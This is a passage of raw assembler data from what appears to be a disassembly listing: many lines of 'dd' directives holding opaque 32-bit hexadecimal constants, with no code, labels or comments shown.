		dd 0C71CD0FFh, 17CC849h, 890080ECh, 656A8D18h, 0E0142708h
		dd 2C340696h, 0D403E0D3h, 13DE8100h, 0C43EF101h, 5187000Fh
		dd 30B5788Eh, 0A870EC7Eh, 33C5D00h, 10F983C3h, 27DB0h
		dd 6C24C040h, 758B4D7Ch, 6DC9A41Fh, 0ED9CE6C1h,	0C1C848BAh
		dd 1AEE0062h, 3E8025CEh, 300CB2Bh, 0D88A28FBh, 0DAE9B9h
		dd 0BD766C89h, 3981BF34h, 0BB661007h, 89FB0714h, 0CA70809Bh
		dd 320FE49h, 7B4ED87Dh,	0EAF0DFAAh, 4A00A284h, 401A025Dh
		dd 5FC49h, 7E09CA32h, 299BA9B5h, 0F049800h, 4295628Dh
		dd 0FF960367h, 320DC0B6h, 26985B98h, 1F046973h,	23824B11h
		dd 61C98B80h, 0F13B1EEDh, 26807EB4h, 0C12FC88Ah, 4200229Fh
		dd 8F2A8894h, 84BA6Ch, 0C896809h, 373B0D87h, 0BCE2B328h
		dd 47210A1Fh, 1F4C5E67h, 0FAC89741h, 0B0AD3800h, 0BD1C01h
		dd 579CFFD4h, 788306C7h, 7208C100h, 8AA0EF30h, 26410111h
		dd 0BE055488h, 0E648DCFBh, 8E12400h, 14CA6AE2h,	0DB00950h
		dd 0B680F8C2h, 7817AEEFh, 7334F900h, 2EFC27D0h,	1FC4E24Ch
		dd 4280CA2Bh, 0E325DC49h, 5CA65AC0h, 64A42201h,	29279612h
		dd 80C8D4h, 0DCC0E407h,	111C8A1Eh, 0EBD38700h, 2C46103Bh
		dd 0C30A3973h, 0D21B2800h, 0F3FF9278h, 30143F00h, 2FD707AFh
		dd 208C0ABDh, 1F8E3418h, 38818108h, 0DC110D12h,	2EF03C02h
		dd 0E8B0F00h, 843079C9h, 896F00FAh, 961C410Ah, 431F18B9h
		dd 0E680C371h, 0DABDE85Fh, 62044C97h, 8E8BC107h, 31745389h
		dd 598125D0h, 6212F400h, 4068D233h, 70BCE6B7h, 1689007Eh
		dd 9B2C888Ah, 957B65B8h, 7AA41C18h, 3E3DAh, 0F8804037h
		dd 91E6723Ah, 4F8D98C0h, 3B685063h, 0E8001FD1h,	0B942F7CCh
		dd 38015878h, 0E57A08Fh, 30E40820h, 13900085h, 8941C021h
		dd 0A4006087h, 50C4E6Bh, 5B0FF5h, 81DEB9Bh, 0E25ED112h
		dd 757D605h, 0C0BE8D43h, 9CD7F219h, 0E3AD2C03h,	0E882E266h
		dd 90A80C54h, 44A23CF7h, 0BDB99D8Eh, 25013C0h, 527E5411h
		dd 5295800h, 0C4860CDh,	0FAA6005Ch, 0E8AACA81h,	967D8F18h
		dd 27315F1Fh, 8B1103C3h, 8D29C8D9h, 0CA6B0069h,	71CDD1C1h
		dd 8A0055D0h, 1D4899BCh, 136BB28h, 6A2C53ABh, 0D10A34AAh
		dd 8864F404h, 9C1C024h,	4D008316h, 8DED7213h, 2198BBh
		dd 502FF3D5h, 4BF16E87h, 0B929907h, 0D200F35h, 2C35943h
		dd 6D316C62h, 8840098Dh, 15017310h, 5203EDF3h, 0B0FC148Ah
		dd 0E2800FD0h, 1C0F4Ch,	0EB462434h, 28007560h, 59A66A7Fh
		dd 0C08318h, 4E7EF203h,	0F5FE8111h, 48C07DE0h, 4823344Ch
		dd 0D8880075h, 0EA7F2C4Dh, 3679EB32h, 96821100h, 2D94036Ah
		dd 0CF63Fh, 990E072Bh, 1C13770Bh, 0C6501700h, 46E024A3h
		dd 71480F65h, 0FC020EDh, 7B2738Ch, 920EB700h, 104B053Dh
		dd 0AB3A0052h, 24848D0Ah, 0A4003B29h, 5045578Bh, 7C0C222Fh
		dd 311718Ch, 3546D251h,	0BE02BC0h, 640083C6h, 80DD98DFh
		dd 0FA0451BCh, 2E7505CDh, 0C005DAFDh, 2407EB80h, 39331B48h
		dd 651200F5h, 0BE54D21Ch, 0E0587D6Eh, 3D104C88h, 0F7754E01h
		dd 304A43B1h, 0B476E849h, 5E9BDC00h, 0A0B8EEF0h, 0E182009Dh
		dd 5DEAEC83h, 0E90008E2h, 85C3C7CCh, 97908Dh, 8814577Ah
		dd 5D6558DCh, 10056703h, 9843860Fh, 0E2324E52h,	0E03D7668h
		dd 13730026h, 0D6881BDBh, 0C30041A2h, 2303C5A7h, 9314E9h
		dd 4FD03530h, 0C9FB830Fh, 68054100h, 1E88BF1h, 971129Ch
		dd 8D0600C1h, 0A3422E31h, 6500700h, 21BF145Eh, 3D8EFADAh
		dd 44D8AC33h, 84E2F00h,	980990F4h, 0E9AB1000h, 32729B23h
		dd 3C70BD2Ch, 5A8DCB00h, 0C1A9C14h, 9A1501F5h, 0C2563DCDh
		dd 7BD62011h, 0CE08F701h, 2CBFC39Dh, 0C5CDD0C7h, 0D6C100CFh
		dd 6763EAD3h, 0C6FC8935h, 946DE407h, 80C092DAh,	0F4887Ah
		dd 0D741529Ah, 0CA03140Bh, 89770600h, 868A2411h, 8B40072Dh
		dd 8068AE9Ch, 95FA76C3h, 906CC41Ch, 74F07EB8h, 0FF0083F6h
		dd 715A7203h, 1E8D0502h, 44FD6Fh, 4163166h, 0C13C2EC5h
		dd 6B2400E2h, 0A252C26h, 1AB4002Fh, 314A2789h, 0B0EBDE6h
		dd 80F8C183h, 57BA538Eh, 8C93008Bh, 6A733882h, 963D79CFh
		dd 0C881002Bh, 0EFD3C503h, 80461E18h, 0E74387CDh, 8A19F24h
		dd 0D7E40130h, 0F81CF6E8h, 5B5AEB00h, 0A86C9A14h, 0BD850920h
		dd 0AC0EA746h, 2EDBD480h, 0D005AD7h, 25B3AB45h,	71D82C1Dh
		dd 856A00A0h, 7303FB01h, 8C008B1Ah, 5AB5629Eh, 0F2300C0Bh
		dd 0BF1900E5h, 0EB115194h, 8600FD1Bh, 1552C862h, 0F21FBB4Ch
		dd 58D40089h, 0DDB17F1Eh, 500E8E88h, 40B00644h,	8D413914h
		dd 3B381D8Bh, 0DE9707C2h, 2BD00024h, 8A3C40D1h,	50880312h
		dd 0F0693FE2h, 3907B8Bh, 96C70391h, 0C9F0BD13h,	0CE39FC0Bh
		dd 80A5BEB1h, 43B1CE3h,	0F286Eh, 0C6AFC382h, 2C1347D2h
		dd 6400FAB0h, 0C217AA83h, 4CCD1852h, 0AB00E428h, 69B03CE8h
		dd 850341A3h, 78843888h, 0CB47C370h, 441007C4h,	0F0BB1173h
		dd 1D4BDD82h, 9B00D271h, 27E75AFDh, 0D190C3h, 406A8726h
		dd 1E100668h, 84E3F900h, 2C1F62BAh, 758EB002h, 307400F7h
		dd 2E258380h, 0B53CF18Bh, 0A8178044h, 15E1A7FCh, 3E860EE6h
		dd 12C04BAFh, 37208A5Ah, 0A11C51E8h, 5FD73B11h,	7C543700h
		dd 767E532Fh, 0B097FCEh, 57428758h, 30ABA580h, 35E8142Bh
		dd 102CA907h, 8520BC5Ch, 5155E9h, 0C8807F8h, 743D6224h
		dd 4053FE00h, 70358B77h, 31300CEh, 0EB0D68CCh, 8D00632Ch
		dd 8309811Bh, 657EE9h, 0A21D03ECh, 0D0FC5F12h, 0C6A63F00h
		dd 0EFF91708h, 46F20Bh,	0FCF80FDh, 0B8C1D9B7h, 83F2B900h
		dd 2743EC7h, 822F0087h,	2757E181h, 0D900C958h, 0C13BE440h
		dd 1F7726h, 0DD021D6Eh,	0FA18D2CBh, 0BA965307h,	62C76F0Ah
		dd 0EB1901D0h, 4C917A08h, 923DC229h, 0BA754F81h, 70C71EE4h
		dd 0AA3A97A1h, 908B80ACh, 4BE84001h, 0F2530094h, 825A5B1h
		dd 970E68B8h, 5E195DEDh, 78CB0E00h, 387225Ah, 56824C75h
		dd 539B425Bh, 724D45A8h, 18DB7F00h, 24945A48h, 55890112h
		dd 25E2E3AEh, 8FD040B9h, 0C00293Bh, 97ADC65Fh, 6BC572h
		dd 0C45B18A1h, 58A5DA88h, 95846007h, 0FC0010C6h, 800203h
		dd 0F3E4E938h, 11C9798h, 0C23A8300h, 0C7405674h, 4A9300D4h
		dd 4C35B20h, 48000D7Bh,	0DB2A5E52h, 17A95AAh, 6F1CA5A3h
		dd 0E8744DCEh, 0B80037D4h, 97778AE3h, 839023h, 4DFF0C05h
		dd 0F5C1C4F8h, 0C531EC00h, 4A8DCA7Fh, 70291FEEh, 9CEC0E9h
		dd 0ADDC071Ah, 7100D9F4h, 0AEF00CB1h, 3FF45174h, 0EE8031CBh
		dd 8DA6C6ACh, 821D27AAh, 14C0C3F1h, 0F5F20195h,	5C8500F6h
		dd 0DD54029h, 9200519Dh, 0B2523E4Bh, 3E9A776h, 29E5F810h
		dd 0FCB8401Ch, 0ED58DBE8h, 0D5371E65h, 89F4B841h, 3CE702F0h
		dd 0B10FC458h, 8280A605h, 87453D80h, 6F936400h,	6D37803h
		dd 20050055h, 2608A11Bh, 44006209h, 9811B34Ch, 7E750664h
		dd 270C070Dh, 70B68DBFh
		dd 8CF61471h, 541A1500h, 0AC2EDC8Ah, 789005Eh, 0A96C7952h
		dd 44007C34h, 0E8170509h, 7AD95F7h, 804893D8h, 875C05Dh
		dd 141FCCD3h, 6C02CA3h,	18F7C62Dh, 1D890017h, 0F9533BA1h
		dd 0A6EC32CEh, 0AC21DE00h, 79E3184h, 0A8363997h, 1D803AFAh
		dd 74300E80h, 0B8327563h, 9D607700h, 5CD24DB3h,	580A00B9h
		dd 649C100Bh, 840F94A7h, 20309FAEh, 42A9A824h, 0FF011E53h
		dd 5780405Bh, 6F646E69h, 734B7705h, 0C580DCAAh,	1353925h
		dd 7FE43B7Dh, 7E4F1219h, 60C5AFB0h, 0BD3822C8h,	0ED7FD0F6h
		dd 4548FC7Eh, 4D9F0031h, 4E433C69h, 33F80154h, 7542252Eh
		dd 344E7095h, 8057900h,	2306A32h, 58700060h, 10258050h
		dd 4C00FCBFh, 0C9987ECBh, 0F2C1997Fh, 36BC002Bh, 29A97B84h
		dd 0F4F4497Ah, 0DF535700h, 48E71CBBh, 3E79722Dh, 2E00760Ch
		dd 95D7F2F0h, 0B5001B7Fh, 0CAFF50D3h, 0DF7126h,	33CD9214h
		dd 474F5455h, 6843EC0Fh, 27A0008Ch, 1A40A9h, 7D017F2Eh
		dd 137534F8h, 5AD37B03h, 1E9DECh, 64ABFA10h, 34568B46h
		dd 0BB668200h, 6BAD48ACh, 0EFEC0075h, 0B95FD4B3h, 5FC0EC2h
		dd 0FE120100h, 0A93CEF2h, 0FC064F09h, 0DB642ED6h, 5B15D803h
		dd 0AB5CB8AFh, 0A9441DB9h, 0C02D402Bh, 923EE92Eh, 7600F6F8h
		dd 199BB82h, 7A75251Ch,	4B0A0F42h, 0C200A7D4h, 447B57FCh
		dd 0A38F6950h, 22AF4500h, 7EDE0930h, 1AD6482Fh,	55F0AC00h
		dd 0BF5405D4h, 5700A975h, 4B780C73h, 4142ABh, 5B9CFCD6h
		dd 9D5A1799h, 0C4D3D0F1h, 0B8AB6E00h, 5123FA0Fh, 0DE20004h
		dd 61D92B4Ah, 3100A521h, 7795CE96h, 39411317h, 1ABDAB52h
		dd 6A986280h, 2153CCA5h, 0AC73F000h, 0BE927D33h, 0C0AE00D5h
		dd 0C7448D3h, 2A000FE6h, 17D88384h, 749C53E9h, 67C40044h
		dd 0CB21F25h, 0A030E0Dh, 2A35EAE7h, 4C18E874h, 134B008Dh
		dd 0FEF6CCA1h, 85055729h, 8CBA9A3Fh, 0C951CE80h, 0B3070105h
		dd 0F9255D02h, 2C81DCD4h, 0A67C3D00h, 41B5A9Ch,	0B3980A34h
		dd 1CFEB05h, 0FC79F878h, 0B785ECBAh, 8E23443Eh,	5203A358h
		dd 0A552200h, 1D7E664Eh, 0C7101341h, 0B0279943h, 3CEB2806h
		dd 0A8EA9200h, 102B2EB0h, 1FCE7E0Dh, 0C183BE5Ah, 0A306B326h
		dd 0C307C822h, 81C1E72h, 9801AE3h, 0B89616E2h, 0E4B000Dh
		dd 0D0387406h, 0E8390AB3h, 910B0002h, 0AC7A6223h, 4DF94C57h
		dd 42014400h, 41920CA5h, 0B4D8BF00h, 0EB15FF60h, 111C4C28h
		dd 855BC15Bh, 0D7F0E089h, 0AA9C5E00h, 1254AF75h, 0A0094C0Fh
		dd 1F1C800h, 4FE83202h,	0FE0BA100h, 287C0A6Ah, 5E49002Fh
		dd 92981062h, 972F7908h, 9E74AFh, 3D024429h, 0E3B9D90h
		dd 0EB0726EAh, 4719CC01h, 74C0315Ah, 458A006Ah,	16033CFAh
		dd 66002875h, 0BA4B6EA9h, 80FFC3h, 0FA410A86h, 0F6434825h
		dd 83D84D00h, 8CE02E0h,	1D9A24F8h, 0BA3F0033h, 3C3B1996h
		dd 2437B400h, 0A0C8335Ah, 2A6400D0h, 7DA91A7Ch,	0FA904714h
		dd 7A0C2500h, 0CA09E13Dh, 5EA49h, 5BB9827Eh, 0FC0ADE64h
		dd 20005077h, 34BA8CF1h, 3A4FB80Bh, 5700D102h, 0B478BF9Ah
		dd 0CC001E6Ch, 33FD0FF5h, 5C6A60B9h, 0BA008F01h, 94157C57h
		dd 17780A87h, 0F2009077h, 1252988Eh, 9C2C39h, 0FE3ED711h
		dd 0F7934ACBh, 0B220400h, 64F840BFh, 0FD820375h, 9C917F70h
		dd 533E2F90h, 74739F00h, 435C6D81h, 0C7720075h,	0EBD46EBBh
		dd 0CF0FACE8h, 0E0947E53h, 3529DE0Bh, 0AE4F0793h, 0C073EFE4h
		dd 495750B4h, 4A4E7100h, 53D83854h, 52450F1Bh, 26410656h
		dd 0E84CEC3Ch, 4D7A4E41h, 0AF284B00h, 0FF2E102Dh, 1AEE224h
		dd 308298E9h, 0C83A41B0h, 4799B0Dh, 407F7700h, 3D0F0B76h
		dd 0E13F0087h, 0D3852489h, 0EC00D257h, 0AF640345h, 481B08h
		dd 224B9133h, 0C87B4363h, 0E178AE78h, 0B2F63Ah,	11E40D27h
		dd 0F15E084h, 0E93520FBh, 155A040h, 8300F818h, 8A0EF3E1h
		dd 3E7630ECh, 0B207F053h, 709217F4h, 0F8347B59h, 0DF031E74h
		dd 6552AC29h, 0EFF38812h, 6BC003F2h, 3BC5600Eh,	649D9298h
		dd 0F00767E2h, 4654FC08h, 8E31E250h, 65F27Eh, 0A11CEBD8h
		dd 4E1F0415h, 4FC4B803h, 0B937036Ch, 6E30F9B0h,	2B130091h
		dd 21BF5DE7h, 9C009744h, 61C8427h, 806477h, 0C3695399h
		dd 226F0991h, 8B447D1Eh, 12A789C0h, 0C82CB5h, 0ED46BBAh
		dd 5B9FEDD9h, 0A21D3700h, 0E0D5E230h, 0FE86000Ch, 0F80EFF54h
		dd 8A1D1CA7h, 71C0B110h, 40231B28h, 6F9B014Ah, 57B42C33h
		dd 6B72D813h, 61A20900h, 74797D92h, 9F833E49h, 64F7600h
		dd 41B10CBCh, 61FC6400h, 65633B6Eh, 19200029h, 503CDEA7h
		dd 0E4FF6D6Fh, 64004515h, 0B84F3D69h, 0D0E4ACh,	736566D3h
		dd 612D8AE3h, 0C4186C00h, 0CE444D11h, 8E3A03CBh, 4A86EA6Eh
		dd 0BBB8BEB8h, 0B926A501h, 9CB2128Bh, 0B864CBE3h, 90940975h
		dd 0E2320AF1h, 7CDCDE5h, 20BB3976h, 0B70F4540h,	975C5D24h
		dd 18218039h, 0BAA728B9h, 72EB003Ch, 99D7841Dh,	931E0E12h
		dd 4F81348Dh, 1A49BEA2h, 55817C4h, 0DB849B0Fh, 0B9C7C093h
		dd 99002F64h, 0BBF94BF7h, 1C194D2Ch, 0C0A7B245h, 9ECBF373h
		dd 0F3984408h, 8E53143Ah, 48DD56h, 2A88FC95h, 3C5C4887h
		dd 45542100h, 0F509764Dh, 4F26B600h, 8FEED912h,	0C21000C0h
		dd 9FA1A4B2h, 0E600316Fh, 0BA2A1B7Eh, 0FB3D421h, 0F0B05457h
		dd 0B534C627h, 9A9800D8h, 0C91A8F7Eh, 79FF3600h, 0D35DF2E9h
		dd 530B018Ch, 974C4450h, 0F07D21D5h, 2201B964h,	0F47BB41Bh
		dd 25E0FB16h, 0C6940088h, 8018829Dh, 757BFE3Bh,	2636DE07h
		dd 731510C1h, 8D0874C1h, 0FA8CC870h, 94F7FA3h, 0A804BCEh
		dd 0F00988Eh, 4388C094h, 4E750161h, 57D874D3h, 0ABC300AEh
		dd 0AB06933h, 5C1D5116h, 0B840A7F2h, 3B534108h,	387D0130h
		dd 9D4AC2F4h, 72CAF407h, 8F8D0C02h, 0E0DEC312h,	74F8DA2Dh
		dd 856F0EDCh, 0B12BD3Ch, 5DFEADh, 42409723h, 31C2008Ah
		dd 0EB18F98Bh, 270F3A10h, 0C0097221h, 805703D5h, 75B907FAh
		dd 90B389BBh, 9C159C7h,	0D4310F00h, 1398C44Ch, 3047D83h
		dd 5570C09Bh, 0D0E70EC8h, 12BC62B8h, 0CAD95200h, 1005DC46h
		dd 0B08C00D8h, 1FA4D030h, 6726D443h, 0F601AF27h, 834807E8h
		dd 24A814F0h, 3D7538Dh,	0F719B752h, 0C01BD890h,	38840800h
		dd 2761012h, 56E90009h,	33557EA5h, 6E1C8B78h, 5DC08F92h
		dd 0E805D0D6h, 0B94800AFh, 0A124B767h, 0F500E9BAh, 18EC0C99h
		dd 12A95A8h, 0AC0E495Fh, 0D8727D81h, 0FD007F63h, 480FDF05h
		dd 2EA4BF17h, 70A42E5h,	30EB3014h, 8CB8E88Ah, 9C472C3Fh
		dd 9BC03BE6h, 66AB55Fh,	0C455008Bh, 24A7FA5Ah, 787BF1E9h
		dd 0E1723200h, 0EA103D17h, 3484C0E6h, 0E52DF454h, 1A8C2114h
		dd 0BC08009Dh, 3D3AD490h, 0A4B10382h, 65DF7201h, 0C76ABDE8h
		dd 0DC67F00h, 0A550F246h, 16A60081h, 7322E2E6h,	7C3BCCB8h
		dd 821B812Bh, 8FD42F5Dh, 0E8D8E0E9h, 0F202131Eh, 0A0A30109h
		dd 0FC799286h, 200012E1h, 6DDFA418h, 7A5699F1h,	429800E0h
		dd 10F9C0Eh, 8C0135D8h,	0DEBA8BB6h, 0CC8F85F9h,	33C076E4h
		dd 0D040B45Dh, 0D4961900h, 6138A03h, 0BEF93C48h, 944E6F80h
		dd 2C77B540h, 0DC752000h, 0D7E5F303h, 7D8324C0h, 740F00DBh
		dd 8EC8A38Ch, 703D155Ch, 48D3F00h, 99C62B5Bh, 0C2750033h
		dd 32F546E5h, 97008F22h, 2CC86692h, 3D81D140h, 9183D80Ch
		dd 4B0A5B6Bh, 4CB8490h
		dd 1941CA00h, 8345A0EAh, 0B4B80A62h, 81AE1Eh, 6461C8BCh
		dd 0DC009877h, 0CDC003EDh, 6280F0h, 31E075EEh, 7C7E06FAh
		dd 3EE66D58h, 30AA0044h, 8D985EE6h, 18890235h, 5808050Bh
		dd 810972C0h, 0DB033Fh,	8F8B9B1Ch, 4BC32Bh, 2A299671h
		dd 621A40FFh, 50845500h, 0D009A40Ch, 4CE208h, 2F58E830h
		dd 71B64F69h, 0CAB03C00h, 20C463E9h, 94BC2441h,	0F61E3Ah
		dd 8B28BB3Ah, 48010537h, 2C438319h, 42301221h, 14660030h
		dd 16BE8B50h, 0FE00344Ah, 7B80DE02h, 0D6C103h, 0F2B0576Eh
		dd 0EA52BA68h, 5900D5ECh, 0F84E8D6Dh, 6C0394Ah,	7705F980h
		dd 49FAFC51h, 1904DAFAh, 1708B710h, 29C01E87h, 0B8913248h
		dd 89560009h, 33EB684Bh, 7A1CC72Bh, 6E407980h, 1081322h
		dd 88191D90h, 1E101D02h, 3E071E04h, 0CEF62780h,	0DE89F1Bh
		dd 850F240Bh, 8A3980CCh, 73E43h, 1D74052Ch, 4F83C8FEh
		dd 0F50EE3Ah, 0D488FA08h, 842E00BCh, 0AAEDE93Fh, 6ABB00BDh
		dd 0F81C904Ch, 87000FC6h, 369C37B7h, 48F38918h,	8009939h
		dd 0C8C111ADh, 8E00D509h, 14550E9h, 0FA1833FDh,	25F822h
		dd 367B8D05h, 0EB1354BEh, 5C9DA30Fh, 17E980C3h,	14801ABh
		dd 425E8414h, 0EDE4F2B4h, 5CBCE488h, 74F244F2h,	5026A9F2h
		dd 57038171h, 0B80B20EDh, 3E548602h, 6583C976h,	37A608BAh
		dd 0CEE4B898h, 0B9364404h, 1380810Ch, 7614868Ah, 5D450349h
		dd 97D45942h, 0BDA400F5h, 93208BF1h, 0E807CC98h, 2D121AD3h
		dd 864814C0h, 0A9910077h, 0EB2A8A3Bh, 11012C3Ch, 1408F534h
		dd 68F85F64h, 1B3B0178h, 0BE0A0960h, 5310601Dh,	0E200287Fh
		dd 4A4B9734h, 9C5A7h, 91160722h, 0D40B944Fh, 0ED145Ch
		dd 136DA48Fh, 0E274067Ch, 4409000Eh, 3E882E1Eh,	500056EBh
		dd 0B7C4A28Ch, 33C6A65h, 0D689AFF7h, 0E6A01499h, 6300ACD9h
		dd 4D4BFCB8h, 0BADCFFh,	0B2365C43h, 0EB2B5A20h,	7CD7F07h
		dd 47332C0Ah, 81069017h, 1D3A9024h, 4014C95Fh, 0E57C115Dh
		dd 4C00210Eh, 3BF23C10h, 264B22BCh, 19142Ah, 74D807C8h
		dd 900785BEh, 68B2A4F0h, 0E6BB4160h, 9FB0000Ah,	0BCB95D09h
		dd 0C3004916h, 25856C03h, 0C4001h, 36383420h, 0B6587644h
		dd 630011ECh, 0B5C2EF75h, 14302B01h, 0ECFA5390h, 2E0F323Ch
		dd 0FD660D4h, 80BDCAE7h, 7257865Fh, 2DE06269h, 63614200h
		dd 6E45206Bh, 3568005Eh, 56A47A57h, 3400291Ch, 505B7660h
		dd 695D03h, 2F856D75h, 0D4309401h, 535E3Ah, 0C2E349BCh
		dd 436517h, 0B6B2BE1Ch,	6D90B56Eh, 58007298h, 307053EFh
		dd 3B314BADh, 3752DA5h,	0DCAFB590h, 11905098h, 4D002809h
		dd 8C27646Fh, 295525h, 0A534482Ch, 0CD9AFAD8h, 6B019D07h
		dd 5070AC53h, 0FC75DEh,	6AD25930h, 4264A128h, 8B83BF12h
		dd 1978E000h, 760A464Eh, 0A7091DE5h, 0A87C4027h, 0F67E704Fh
		dd 804A0200h, 0CC5B89FCh, 8A787Dh, 0E0B9C45Eh, 0E3820A73h
		dd 582F262Eh, 58BED000h, 210F37Eh, 69E0BF80h, 8DD4468Ah
		dd 0A074020Eh, 50137D09h, 0B01E005Ch, 114B9487h, 0E43AE021h
		dd 0C010003Ah, 0B4292E0Eh, 0DBC307E5h, 0B0481732h, 0BB46B33Ch
		dd 6B00E2F0h, 5AA2F9BFh, 49655Fh, 479430Bh, 4CCA7831h
		dd 2000E698h, 76324D58h, 0EE476113h, 957C002Eh,	0D8363930h
		dd 1B776ACDh, 0B60017B8h, 4A53E8Eh, 584D5Ah, 5E2D48Fh
		dd 93D30A29h, 0BF00CB7Ah, 0C1901512h, 7850B346h, 9443072Ch
		dd 117ABC49h, 0C0F78498h, 3000540h, 8788021h, 0E8F0110h
		dd 0EAA90750h, 0FE09BBC1h, 0E9D260CAh, 0B1793113h, 2078E700h
		dd 3E429C7Ah, 8880C6C1h, 0C0219829h, 832E084Eh,	2D00F9FAh
		dd 2E10BD87h, 40B73F95h, 96DFA6h, 5B0799F3h, 6DEE9118h
		dd 3AEA29F4h, 454CB190h, 0CC51007Bh, 0FC14A13Eh, 2CC41C0Bh
		dd 50EB80C2h, 875C1175h, 88649002h, 0E353798Ch,	42123C7Eh
		dd 31BCECBCh, 0C3431C8Fh, 4C442000h, 84790F3Ch,	18937C0Eh
		dd 804D4F22h, 896F5C91h, 0B440016Dh, 290E5228h,	7972E820h
		dd 22351803h, 0B985ADF4h, 8AE04B2Dh, 302C0ED4h,	0DC60A9D3h
		dd 32FC3143h, 33F98700h, 0F124E50Bh, 0F57C03CBh, 0A7133026h
		dd 0C13B7B98h, 32A9201Eh, 3342F680h, 3955E8h, 6F1D6B6Eh
		dd 71205B77h, 0F43AA702h, 0C075304Ah, 76968CBh,	587F8470h
		dd 0C3E4435Ch, 6007E8C3h, 0EC100146h, 6404B290h, 0F0F251h
		dd 725411D8h, 736E6103h, 74656D00h, 437C19B6h, 775727Bh
		dd 0DC34916Fh, 54CC429Dh, 8AABD540h, 320B9501h,	5C19580Ch
		dd 0F8EB60D1h, 984662A5h, 0C627018Eh, 86774B85h, 2370E80Eh
		dd 72116F01h, 75C47488h, 0F2C7E0h, 3641378h, 45287C14h
		dd 780521Fh, 0DC008496h, 0E8C0C68Fh, 570400ABh,	32517353h
		dd 76765652h, 0FAB32F04h, 218068DBh, 1624884h, 17A915Dh
		dd 0EC18203Ah, 0FC1C89A2h, 3C5FA468h, 559F8CC0h, 4D0390h
		dd 0C87D8194h, 716E6547h, 1B6F7500h, 1E69EF12h,	90493B9Eh
		dd 0AF942785h, 70FE808Dh, 331F8471h, 41C069EBh,	0D6874F9h
		dd 94101C38h, 0A3634724h, 30451ABh, 9152E4EBh, 3C755803h
		dd 90784989h, 772D5C0Fh, 8E8F0733h, 102A6461h, 0EB024124h
		dd 8248110Eh, 0F8832080h, 9565095h, 0B657E90Eh,	0A524807Dh
		dd 0D0FDC2h, 9CBD2A2Fh,	8C463F4Fh, 1A029100h, 0B0ACB878h
		dd 0F2957622h, 0E85D0088h, 0DD27771Fh, 0C1007B69h, 873DF441h
		dd 50D3622h, 3E25C889h,	4B8C042h, 0F03F6373h, 80C3BB84h
		dd 0E0833074h, 88480Fh,	0D9E5D553h, 0B1AB39CAh,	1AB2E90Eh
		dd 0ED9B432Ch, 0A41FB022h, 2F3077Fh, 30B62A12h,	1A93867h
		dd 59510A0Fh, 658FA0B8h, 1C1745FEh, 7F06BD80h, 5FC1759Eh
		dd 40A21D66h, 5121DD84h, 43008D8Ah, 2B52A19h, 0CB7516h
		dd 69307659h, 80E06704h, 0E9E46D00h, 4CD2AA13h,	0DBA41F7Eh
		dd 0B39002Ah, 0B0A5DACFh, 0F9708A00h, 0C114EE6Ah, 557097D5h
		dd 0E53E901Dh, 8F079C5Dh, 5480A808h, 282993h, 915BA5A7h
		dd 45A9664Ah, 5D00067Ah, 0AA4085A6h, 4B829AEh, 2B641F03h
		dd 0B6AB8072h, 0BEE8BA08h, 0C3CDCFBh, 0C2408E03h, 83CA81C6h
		dd 8705E0CEh, 18ED009Ah, 4C331E45h, 48000666h, 10EBC1F6h
		dd 18F44E0Fh, 0AECF25AAh, 4301B738h, 1E3F7EA1h,	0E1D08A11h
		dd 30AEE96h, 5A607CB1h,	45A8C5EAh, 157AE66Bh, 0ACE22A1Fh
		dd 0DE0F5280h, 16ABA8D2h, 35EEC80h, 5B7A592Ah, 19CD58A8h
		dd 8C55D800h, 0E89F51B9h, 0B7280016h, 5CBA0B4Eh, 4801FBC9h
		dd 1B8D108Bh, 0A6D8E974h, 0FC7540h, 0AD9B914h, 354A5C20h
		dd 44008874h, 73102B74h, 7658B2AEh, 0BC30E717h,	1C0D0059h
		dd 0EBB0404Bh, 1A075E65h, 21322A54h, 0ACA41040h, 0B34500A7h
		dd 0B4114E6Ch, 98F019C9h, 9C3040BDh, 1E5700B6h,	8C3DA1BCh
		dd 0C000BEA0h, 7D258D13h, 73B30A2h, 0B5F8FB8Bh,	0C0FA67A3h
		dd 22C33657h, 0D2C94D00h, 8CBFECFh, 17AB0082h, 0EA34DC5Dh
		dd 87002C45h, 597E294Bh, 1184A1Bh, 0BA9444CBh, 0F732B937h
		dd 78921207h, 6E9473E4h, 3582CA09h, 0B1404D54h,	30FD3896h
		dd 285C0CFCh, 83090115h, 5054A4C4h, 0FECB59C4h,	0B08D0016h
		dd 0BA2DC935h, 7E0EEE24h, 0C0501FCFh, 0A016484Fh, 5EA30096h
		dd 8771D7D4h, 0D87E85F4h, 1CDC0800h, 0B1569FA2h, 869400E4h
		dd 0D3FB1F55h, 0E800951Ah, 0C8DC633Fh, 1100B26h, 3D801499h
		dd 2AE15B18h, 0A4EFB0h
		dd 98CE92BFh, 7E591277h, 0B409C401h, 25A656A3h,	0F26AC9CCh
		dd 0C8CD002Fh, 8821AF1Ch, 191ECA9Bh, 99C0A543h,	0DF09D611h
		dd 0BEE85C10h, 0F101330Fh, 3BFFA6Eh, 221A390Ah,	0F8442AA9h
		dd 0EB00883Ch, 5C61976h, 2601E7A0h, 0FA96DE5h, 4321DFA4h
		dd 0D15B20A8h, 0E152D1ACh, 4249E0B0h, 0E65B800h, 391048BCh
		dd 0CC00059h, 0C4908529h, 156719C8h, 54F02006h,	722CCh
		dd 3209D081h, 0CB60C41Bh, 4F2EAA00h, 0AB4E104Dh, 4BDC0FDEh
		dd 0FF0FB0E6h, 3B00E2EBh, 65AC82EDh, 923B5F00h,	0FC0A7185h
		dd 0D27E9564h, 0F02CF406h, 0B7EC0076h, 0DFFE3862h, 6A3E4307h
		dd 0E432005Bh, 0DDE01472h, 42120045h, 2934CC06h, 1EE42D83h
		dd 5C1A0102h, 0E0406F2Ch, 0B0A26E1Ch, 0C5CC00C3h, 0ED540C51h
		dd 0E7A9333h, 8DA56600h, 9D35EF40h, 14EEAE8h, 8FDDCEEAh
		dd 0D4C709D2h, 0C60FE099h, 0E02AB67Ah, 0D62B49AEh, 2F580051h
		dd 3DC255D0h, 11DBD03h,	0DC005C77h, 64BCD3B7h, 0F9532610h
		dd 80FD0001h, 870D048Fh, 0BF2A9E03h, 0A04FA86Bh, 0AC6865h
		dd 40C683D1h, 0B0F8608h, 1448C0EEh, 0A5AD0063h,	642D24FBh
		dd 580203F5h, 76DB850Ch, 21C144C0h, 4BCD8600h, 0BC7C247Fh
		dd 0EF07A4Ah, 56107005h, 3D0C36E3h, 0DF5144D8h,	6E297A00h
		dd 8833022Bh, 75080042h, 1643C394h, 0E047953h, 122147E8h
		dd 7F90B6C0h, 519800A2h, 2E1E25E2h, 8000F6F0h, 0DD3C7869h
